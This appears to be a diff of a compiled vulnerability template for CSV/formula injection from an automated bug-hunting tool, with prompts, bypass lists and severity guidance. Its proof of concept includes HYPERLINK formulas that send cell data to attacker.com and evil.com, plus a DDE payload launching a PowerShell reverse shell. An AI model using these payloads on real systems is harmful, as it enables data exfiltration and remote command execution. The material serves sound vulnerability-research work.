+ - API endpoints that return CSV: /api/export?format=csv
56
+ - Scheduled report generation sent via email
57
+ - User-facing download features (download my data, download transactions)
58
+
59
+ KNOWN BYPASS TECHNIQUES:
60
+ - Unicode homoglyphs: using = lookalike (U+FF1D) that some parsers normalize
61
+ - Encoding tricks: %3D (=) in URL-encoded input that gets decoded before CSV write
62
+ - Nested quotes: breaking out of CSV quoting to inject formula in adjacent cell
63
+ - Multiline injection: newline in field value creates new CSV row with formula
64
+ - Tab injection: \\t in field value shifts data to next column, formula in shifted column
65
+
66
+ RELEVANT SPECIFICATIONS:
67
+ - CWE-1236: Improper Neutralization of Formula Elements in a CSV File
68
+ - OWASP CSV Injection Guidance
69
+ - RFC 4180: Common Format and MIME Type for CSV Files
70
+
71
+ For each finding, cite the EXACT export function, which user-controlled fields are included, and what sanitization is missing.`,
72
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CSV/formula injection vulnerability.
73
+
74
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
75
+
76
+ VERIFICATION STEPS:
77
+ 1. Identify the export endpoint and function
78
+ 2. Trace which database fields are included in the export
79
+ 3. Determine which of those fields accept user input (names, descriptions, comments)
80
+ 4. Check if any sanitization exists for formula-triggering characters (= + - @ | \\t)
81
+ 5. Verify the user can control the field content (registration form, profile edit, etc.)
82
+ 6. Confirm the output format (CSV, XLSX) and how it's opened by the target audience
83
+
84
+ PROOF-OF-CONCEPT:
85
+ \`\`\`
86
+ Step 1: Create a user account with name:
87
+ =HYPERLINK("http://attacker.com/steal?data="&B2&C2,"Normal Name")
88
+
89
+ Step 2: Wait for admin to export users to CSV
90
+
91
+ Step 3: When admin opens CSV in Excel:
92
+ - Cell displays "Normal Name" (looks legitimate)
93
+ - When clicked, sends data from adjacent cells to attacker.com
94
+
95
+ Alternative — command execution:
96
+ Name: =cmd|'/C powershell -e <base64_reverse_shell>'!A1
97
+ (Requires DDE to be enabled — older Excel or user clicks "Enable")
98
+ \`\`\`
99
+
100
+ \`\`\`bash
101
+ # Register with malicious name
102
+ curl -X POST /api/register \\
103
+ -H "Content-Type: application/json" \\
104
+ -d '{"name": "=HYPERLINK(\\"http://evil.com/\\"&A2,\\"John Smith\\")", "email": "attacker@evil.com"}'
105
+
106
+ # Trigger export (as admin)
107
+ curl -X GET /api/admin/export/users?format=csv \\
108
+ -H "Authorization: Bearer <admin-token>" \\
109
+ -o users.csv
110
+
111
+ # Inspect CSV — malicious formula should be present unescaped
112
+ cat users.csv | grep HYPERLINK
113
+ \`\`\`
114
+
115
+ SEVERITY ASSESSMENT:
116
+ - High: Formula injection in exports consumed by admins/support staff (social engineering + data exfil)
117
+ - High: DDE command execution in environments where DDE is enabled
118
+ - Medium: Formula injection in user-facing exports (self-XSS equivalent, lower impact)
119
+ - Medium: Data exfiltration via HYPERLINK requiring victim click
120
+ - Low: Formula injection in exports that are only consumed programmatically (not opened in spreadsheets)
121
+
122
+ IMPACT AMPLIFIERS:
123
+ - Export is emailed to multiple recipients (wider blast radius)
124
+ - Export contains sensitive data in adjacent cells (PII, financial data)
125
+ - Target organization uses older Excel with DDE enabled
126
+ - Admin exports are routine/trusted (victim unlikely to be suspicious)
127
+
128
+ RELEVANT SPECIFICATIONS:
129
+ - CWE-1236: Improper Neutralization of Formula Elements in a CSV File
130
+ - RFC 4180: Common Format and MIME Type for CSV Files
131
+
132
+ Cite exact file paths, line numbers, the export function, and which user-controlled field is unsanitized.`,
133
+ knownBypasses: [
134
+ 'Unicode homoglyphs: fullwidth equals sign (U+FF1D) normalized to = by some parsers',
135
+ 'URL-encoding: %3D decoded to = before CSV generation',
136
+ 'Nested CSV quoting: breaking out of quoted field to inject formula in adjacent cell',
137
+ 'Multiline injection: newline character creates new row with formula',
138
+ 'Tab injection: \\t shifts data to next column where formula prefix lands',
139
+ 'IMPORTDATA function (Google Sheets): fetch remote CSV into spreadsheet',
140
+ ],
141
+ specReferences: [
142
+ 'CWE-1236 (Improper Neutralization of Formula Elements in a CSV File)',
143
+ 'OWASP CSV Injection Guidance',
144
+ 'RFC 4180 (Common Format and MIME Type for CSV Files)',
145
+ ],
146
+ severityRange: ['medium', 'high'],
147
+ };
148
+ //# sourceMappingURL=csv-injection.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"csv-injection.js","sourceRoot":"","sources":["../../../src/hunt/templates/csv-injection.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,YAAY,GAA0B;IACjD,EAAE,EAAE,eAAe;IACnB,IAAI,EAAE,yBAAyB;IAC/B,GAAG,EAAE,UAAU;IACf,YAAY,EAAE,CAAC,KAAK,EAAE,QAAQ,EAAE,UAAU,EAAE,aAAa,EAAE,QAAQ,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,EAAE,KAAK,CAAC;IACxG,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+HAgE+G;IAE7H,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;0GA4DwF;IAExG,aAAa,EAAE;QACb,oFAAoF;QACpF,sDAAsD;QACtD,qFAAqF;QACrF,qEAAqE;QACrE,0EAA0E;QAC1E,wEAAwE;KACzE;IACD,cAAc,EAAE;QACd,sEAAsE;QACtE,8BAA8B;QAC9B,sDAAsD;KACvD;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,MAAM,CAAC;CAClC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const djangoMisconfig: VulnerabilityTemplate;